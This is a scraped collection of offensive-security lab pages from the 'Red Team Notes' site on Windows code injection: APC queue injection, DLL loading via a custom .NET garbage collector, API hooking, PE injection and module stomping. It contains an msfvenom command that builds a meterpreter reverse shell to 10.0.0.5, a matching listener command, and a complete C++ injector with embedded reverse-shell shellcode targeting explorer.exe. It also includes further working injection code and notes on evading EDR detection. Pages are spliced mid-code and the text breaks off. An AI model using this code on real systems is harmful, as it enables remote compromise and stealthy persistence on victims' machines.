![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LfnaLMwxfBMHYFaAsy2%252F-LfoJ0zGWBXagV9Xdgzj%252Fapcqueueinjection.gif%3Falt%3Dmedia%26token%3D5668303a-b8c6-4feb-a996-e19c5ed6720d&width=768&dpr=3&quality=100&sign=ee9af656&sv=2) ### [](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#non-alertable-state) Non-Alertable State Now let's recompile `alertable.exe` with `bAlertable == false` and try again - shellcode does not get executed: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LfnaLMwxfBMHYFaAsy2%252F-LfoKPzUx435ipIK1c62%252Fapcqueueinjection-nonalertable.gif%3Falt%3Dmedia%26token%3D04b1e631-54a1-4952-b07a-e2fd5a3b5a40&width=768&dpr=3&quality=100&sign=27b82c8a&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#powershell-sta) Powershell -sta ------------------------------------------------------------------------------------------------------------------------------------------ An interesting observation is that if you try injecting into powershell.exe which was started with a `-sta` switch (Single Thread Apartment), we do not need to spray the APC across all its threads - main thread is enough and gives a reliable shell: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LftuO_pVZGIlDCXyCB_%252F-LftvWHb7-zR3hF5KdRR%252Fapc-powershell.gif%3Falt%3Dmedia%26token%3D212fc173-c438-4e62-9fd9-7577a6ae8ab3&width=768&dpr=3&quality=100&sign=47b1eb2e&sv=2) Note that the injected powershell process becomes unresponsive. [](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#code) Code --------------------------------------------------------------------------------------------------------------------- [](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#references) References --------------------------------------------------------------------------------------------------------------------------------- [https://blogs.microsoft.co.il/pavely/2017/03/14/injecting-a-dll-without-a-remote-thread/blogs.microsoft.co.il](https://blogs.microsoft.co.il/pavely/2017/03/14/injecting-a-dll-without-a-remote-thread/) [Early Bird Injection - APC Abuserinseandrepeatanalysis.blogspot.com](http://rinseandrepeatanalysis.blogspot.com/2019/04/early-bird-injection-apc-abuse.html?m=1) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Asynchronous Procedure Calls - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/desktop/sync/asynchronous-procedure-calls) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)QueueUserAPC function (processthreadsapi.h) - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-queueuserapc) [PreviousProcess Hollowing and Portable Executable Relocations](https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations) [NextEarly Bird APC Queue Code Injection](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection) Last updated 6 years ago * [Execution](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#execution) * [States](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#states) * [Alertable State](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#alertable-state) * [Non-Alertable State](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#non-alertable-state) * [Powershell -sta](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#powershell-sta) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#code) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection#references) attacker@kali Copy msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c attacker@kali Copy msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/x64/meterpreter/reverse_tcp; exploit" set autorunscript post/windows/manage/migrate Copy DWORD SleepEx( DWORD dwMilliseconds, BOOL bAlertable ); apcqueue.cpp Copy #include "pch.h" #include #include #include #include int main() { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); HANDLE victimProcess = NULL; PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; std::vector threadIds; SIZE_T shellSize = sizeof(buf); HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) { Process32Next(snapshot, &processEntry); } } victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL); if (Thread32First(snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { threadIds.push_back(threadEntry.th32ThreadID); } } while (Thread32Next(snapshot, &threadEntry)); } for (DWORD threadId : threadIds) { threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); Sleep(1000 * 2); } return 0; } --- # DLL Injection via a Custom .NET Garbage Collector | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-dll-via-custom-.net-garbage-collector-environment-variable-complus_gcname.md) . This is a quick lab to test a DLL injection technique discovered by [@am0nsec](https://twitter.com/am0nsec) , which he describes in his blogpost [https://www.contextis.com/us/blog/bring-your-own-.net-core-garbage-collector](https://www.contextis.com/us/blog/bring-your-own-.net-core-garbage-collector) - go check it out! The idea behind this technique is that a low privileged user can specify a custom Garbage Collector (GC), that a .NET application should use. A custom GC can be specified by setting a command shell environment variable `COMPLUS_GCName`, that points to a malicious DLL which represents a custom Garbage Collector. Normally, specifying a custom GC requires administartor privileges, however, since path to a custom GC in `COMPLUS_GCName` is not sanitized when a custom GC is loaded, directory traversal allows **any** unprivileged user to specify a custom GC to be loaded from an arbitrary location to which they can drop their DLL. The Gargage Collector DLL needs to export `GC_VersionInfo` method for this technique to work - this is the method that will contain our payload, that will be executed once a .NET program starts and loads our custom GC DLL. [](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-dll-via-custom-.net-garbage-collector-environment-variable-complus_gcname#execution) Execution ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Let's create a DLL that represents a custom Garbage Collector. It needs to export a function `GC_VersionInfo`, which in our case executes a simple message box: Copy #include BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } struct VersionInfo { UINT32 MajorVersion; UINT32 MinorVersion; UINT32 BuildVersion; const char* Name; }; extern "C" __declspec(dllexport) void GC_VersionInfo(VersionInfo * info) { info->BuildVersion = 0; info->MinorVersion = 0; info->BuildVersion = 0; MessageBoxA(NULL, "Injection", "Injection", 0); } Once the DLL is compiled, we can set the `COMPLUS_GCName` environment variable in our cmd.exe shell and point it to the compiled DLL: We can execute any .NET binary found on the system and it will load our GC.dll. In this lab, we do: Below shows that our GC.dll got injected into the dotnet.exe: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MAGfN01ilazUEE1H-Hg%252F-MAHKCrPqPdcpec2Jdks%252Fimage.png%3Falt%3Dmedia%26token%3D5ed41397-c6d6-4de4-b994-190b34dcfe15&width=768&dpr=3&quality=100&sign=711f75bf&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-dll-via-custom-.net-garbage-collector-environment-variable-complus_gcname#references) References -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.accenture.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=c842c1ac&sv=2)Accenture | Let there be changewww.contextis.com](https://www.contextis.com/us/blog/bring-your-own-.net-core-garbage-collector) [PreviousImport Adress Table (IAT) Hooking](https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-hooking) [NextWriting and Compiling Shellcode in C](https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c) Last updated 6 years ago * [Execution](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-dll-via-custom-.net-garbage-collector-environment-variable-complus_gcname#execution) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-dll-via-custom-.net-garbage-collector-environment-variable-complus_gcname#references) Copy set COMPLUS_GCName=..\..\..\..\..\..\..\..\..\..\..\..\..\labs\GarbageCollector\GC\x64\Release\GC.dll & dotnet.exe -h Copy dotnet.exe -h --- # Windows API Hooking | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++.md) . This lab is a quick look into how userland WinAPIs can be hooked. A `MessageBoxA` function will be hooked in this instance, but it could be any. > **API hooking** is a technique by which we can instrument and modify the behavior and flow of **API**calls. [https://resources.infosecinstitute.com/api-hooking/](https://resources.infosecinstitute.com/api-hooking/) Windows API hooking is one of the techniques used by AV/EDR solutions to determine if code is malicious. You can read some of my notes on bypassing EDRs by leveraging unhooking - [Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs](https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis) For this lab, I will write a simple C++ program that will work follows: 1. Get memory address of the `MessageBoxA` function 2. Read the first 6 bytes of the `MessageBoxA` - will need these bytes for unhooking the function 3. Create a `HookedMessageBox` function that will be executed when the original `MessageBoxA` is called 4. Get memory address of the `HookedMessageBox` 5. Patch / redirect `MessageBoxA` to `HookedMessageBox` 6. Call `MessageBoxA`. Code gets redirected to `HookedMessageBox` 7. `HookedMessageBox` executes its code, prints the supplied arguments, unhooks the `MessageBoxA` and transfers the code control to the actual `MessageBoxA` [](https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++#execution) Execution ---------------------------------------------------------------------------------------------------------------------------------------- Pop the message box before the function is hooked - just to make sure it works and to prove that no functions are hooked so far - it's the first instruction of the program: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LicVwfgFO1PYWyP8L8E%252F-LidVhKi92NzvNnpxFsS%252FAnnotation%25202019-06-30%2520185043.png%3Falt%3Dmedia%26token%3De2df5969-cb8d-4607-9ed2-80a882f310a2&width=768&dpr=3&quality=100&sign=a6eb3994&sv=2) Get the memory address of the `MessageBoxA` function: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LicVwfgFO1PYWyP8L8E%252F-LidW5M_Aj1jgwDwyJtc%252FAnnotation%25202019-06-30%2520185215.png%3Falt%3Dmedia%26token%3D00ada81f-90c6-4ac6-a03f-1631e1378553&width=768&dpr=3&quality=100&sign=e7a69700&sv=2) If we dissasemble the bytes at that address, we can definitely see that there is code for `MessageBoxA`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LicVwfgFO1PYWyP8L8E%252F-LidWIWChppyczaH59Nm%252FAnnotation%25202019-06-30%2520185320.png%3Falt%3Dmedia%26token%3Db2fa063b-3400-405b-8345-6f0605119fe3&width=768&dpr=3&quality=100&sign=18005173&sv=2) Note the first 6 bytes `8b ff 55 8b ec 6a`(mind the endian-ness). We need to save these bytes for future when we want to unhook `MessageBoxA`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LicVwfgFO1PYWyP8L8E%252F-LidXDtNFcAeQeThNI43%252Foriginalbytes.gif%3Falt%3Dmedia%26token%3Dbe74d2c4-5058-44ca-93c7-500a6aa48abf&width=768&dpr=3&quality=100&sign=84201b38&sv=2) Let's now build the patch (hook) bytes: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LicVwfgFO1PYWyP8L8E%252F-LidYbUXUKU4qXHgG5nS%252FAnnotation%25202019-06-30%2520190323.png%3Falt%3Dmedia%26token%3D74f46ea4-50db-4647-843c-08d4d2174570&width=768&dpr=3&quality=100&sign=9cda23c1&sv=2) ...that will translate into the following assembly instructions: We can now patch the `MessageBoxA` - memory pane in the bottom right shows the patch being written to the beginning of `MessageBoxA` function and the top right shows the beginning of the same function is re-written with a `push 3e1474h; ret` instructions: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LicVwfgFO1PYWyP8L8E%252F-LidZEgBrxAiofPB2IcZ%252FpatchingMessageBoxa.gif%3Falt%3Dmedia%26token%3D0913cae4-5dbe-4869-8bc6-f6cedc86611e&width=768&dpr=3&quality=100&sign=89572ec3&sv=2) If we disassemble the address `3e1474h`, we can see it contains a jmp to our `HookedMessageBox`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LicVwfgFO1PYWyP8L8E%252F-LidZyo7Umn1YHYosb-u%252Fimage.png%3Falt%3Dmedia%26token%3D0e30fd59-5f23-48b7-a721-7659bf7fe8a7&width=768&dpr=3&quality=100&sign=bab210c0&sv=2) The `HookedMessageBox` intercepts and prints out the arguments supplied to `MessageBoxA`, then unhooks `~MessageBoxA~` by swaping back the first 6 bytes to the original bytes of the `MessageBoxA` function and then calls the `MessageBoxA` with the supplied arguments: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LicVwfgFO1PYWyP8L8E%252F-Lid_NmC4pWTs8_plq4F%252Fimage.png%3Falt%3Dmedia%26token%3D110bfeaa-ae20-437d-81c8-99b8ada52d57&width=768&dpr=3&quality=100&sign=e26bc560&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++#demo) Demo ------------------------------------------------------------------------------------------------------------------------------ Once the function is hooked, we can call the `MessageBoxA(NULL, "hi", "hi", MB_OK);` which will invoke the `HookedMessageBox`, print the intercepted values and display the original message box: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LicVwfgFO1PYWyP8L8E%252F-LidbMHNEFpwGl2VWqmw%252Fhookedmessagebox.gif%3Falt%3Dmedia%26token%3Dcd290395-0cce-4ab3-9ec5-1a1e1cefbfd5&width=768&dpr=3&quality=100&sign=49198cdf&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++#code) Code ------------------------------------------------------------------------------------------------------------------------------ [](https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++#references) References ------------------------------------------------------------------------------------------------------------------------------------------ [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)MessageBoxA function (winuser.h) - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-messageboxa) [PreviousAPI Monitoring and Hooking for Offensive Tooling](https://www.ired.team/offensive-security/code-injection-process-injection/api-monitoring-and-hooking-for-offensive-tooling) [NextImport Adress Table (IAT) Hooking](https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-hooking) Last updated 6 years ago * [Execution](https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++#execution) * [Demo](https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++#demo) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++#code) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++#references) Copy // push HookedMessageBox memory address onto the stack push HookedMessageBox // jump to HookedMessageBox ret api-hooking.cpp Copy #include "pch.h" #include #include FARPROC messageBoxAddress = NULL; SIZE_T bytesWritten = 0; char messageBoxOriginalBytes[6] = {}; int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) { // print intercepted values from the MessageBoxA function std::cout << "Ohai from the hooked function\n"; std::cout << "Text: " << (LPCSTR)lpText << "\nCaption: " << (LPCSTR)lpCaption << std::endl; // unpatch MessageBoxA WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, messageBoxOriginalBytes, sizeof(messageBoxOriginalBytes), &bytesWritten); // call the original MessageBoxA return MessageBoxA(NULL, lpText, lpCaption, uType); } int main() { // show messagebox before hooking MessageBoxA(NULL, "hi", "hi", MB_OK); HINSTANCE library = LoadLibraryA("user32.dll"); SIZE_T bytesRead = 0; // get address of the MessageBox function in memory messageBoxAddress = GetProcAddress(library, "MessageBoxA"); // save the first 6 bytes of the original MessageBoxA function - will need for unhooking ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, messageBoxOriginalBytes, 6, &bytesRead); // create a patch "push
#include typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; DWORD InjectionEntryPoint() { CHAR moduleName[128] = ""; GetModuleFileNameA(NULL, moduleName, sizeof(moduleName)); MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL); return 0; } int main() { // Get current image's base address PVOID imageBase = GetModuleHandle(NULL); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew); // Allocate a new memory block and copy the current PE image to this new memory block PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE); memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage); // Open the target process - this is process we will be injecting this PE into HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, 9304); // Allote a new memory block in the target process. This is where we will be injecting this PE PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Calculate delta between addresses of where the image will be located in the target process and where it's located currently DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase; // Relocate localImage, to ensure that it will have correct addresses once its in the target process PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); DWORD relocationEntriesCount = 0; PDWORD_PTR patchedAddress; PBASE_RELOCATION_ENTRY relocationRVA = NULL; while (relocationTable->SizeOfBlock > 0) { relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT); relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1); for (short i = 0; i < relocationEntriesCount; i++) { if (relocationRVA[i].Offset) { patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset); *patchedAddress += deltaImageBase; } } relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock); } // Write the relocated localImage into the target process WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL); // Start the injected PE inside the target process CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + deltaImageBase), NULL, 0, NULL); return 0; } --- # Module Stomping for Shellcode Injection | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection.md) . [](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#overview) Overview ----------------------------------------------------------------------------------------------------------------------------------------------------- Module Stomping (or Module Overloading or DLL Hollowing) is a shellcode injection (although can be used for injecting full DLLs) technique that at a high level works as follows: 1. Injects some benign Windows DLL into a remote (target) process 2. Overwrites DLL's, loaded in step 1, `AddressOfEntryPoint` point with shellcode 3. Starts a new thread in the target process at the benign DLL's entry point, where the shellcode has been written to, during step 2 In this lab, I will inject `amsi.dll` into a `notepad.exe` process, but this of course could be done with any other DLL and process. [](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#pros) Pros --------------------------------------------------------------------------------------------------------------------------------------------- 1. Does not allocate RWX memory pages or change their permissions in the target process at any point 2. Shellcode is injected into a legitimate Windows DLL, so detections looking for DLLs loaded from weird places like c:\\temp\\ would not work 3. Remote thread that executes the shellcode is associated with a legitimate Windows module [](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#cons) Cons --------------------------------------------------------------------------------------------------------------------------------------------- `ReadProcessMemory`/`WriteProcessMemory` API calls are usually used by debuggers rather than "normal" programs. `ReadProcessMemory` is used to read remote process injected module's image headers, meaning we could ditch the `ReadProcessMemory` call and read those headers from the DLL on the disk. We could also use `NtMapViewOfSection` to inject shellcode into the remote process, reducing the need for `WriteProcessMemory`. [](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#code) Code --------------------------------------------------------------------------------------------------------------------------------------------- [](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#demo) Demo --------------------------------------------------------------------------------------------------------------------------------------------- Below shows the technique in action - amsi.dll gets loaded into notepad and a reverse shell is spawned by the shellcode injected into amsi.dll `AddressOfEntryPoint`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LxOBH7-meep823RupAK%252F-LxODBXK4mQ6BxG3wUYp%252Fadressofentrypointdllinjection.gif%3Falt%3Dmedia%26token%3D3bc16adf-cce6-4910-8378-a2ef824b93e4&width=768&dpr=3&quality=100&sign=f0147ae3&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection#observation) Observation ----------------------------------------------------------------------------------------------------------------------------------------------------------- Note how powershell window shows that `amsi.dll` is loaded at 00007FFF20E60000 and it's DLL `AddressOfEntryPoint` point is at **00007FFF20E67**E00. If we look at the stack trace of the cmd.exe process creation event in procmon, we see that frame 9 originates from inside `amsi!AmsiUacScan+0x5675` (**00007fff20e67**f95) before the code transitions to kernelbase.dll where `CreateProcessA` is called: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LxRPc2GycAt6cmXfhAo%252F-LxR_muHxChN-sTX8_in%252Fimage.png%3Falt%3Dmedia%26token%3D19b7aa89-a222-4fc0-904d-0fd424df99f4&width=768&dpr=3&quality=100&sign=56c8d0a8&sv=2) 66KB [addressofentrypoint-injection-procmon.PML](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LxOBH7-meep823RupAK%2F-LxOBhbnnv9zJcaSS7Fa%2Faddressofentrypoint-injection-procmon.PML?alt=media&token=df297745-e7ea-43aa-bb50-b34fdcb50ddf) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LxOBH7-meep823RupAK%2F-LxOBhbnnv9zJcaSS7Fa%2Faddressofentrypoint-injection-procmon.PML?alt=media&token=df297745-e7ea-43aa-bb50-b34fdcb50ddf) Procmon logs If we inspect notepad.exe threads, we can see thread 7372 with a start address of `Amsi!AmsiUacScan+0x54e0`. If we inspect that memory location with a debugger, we see 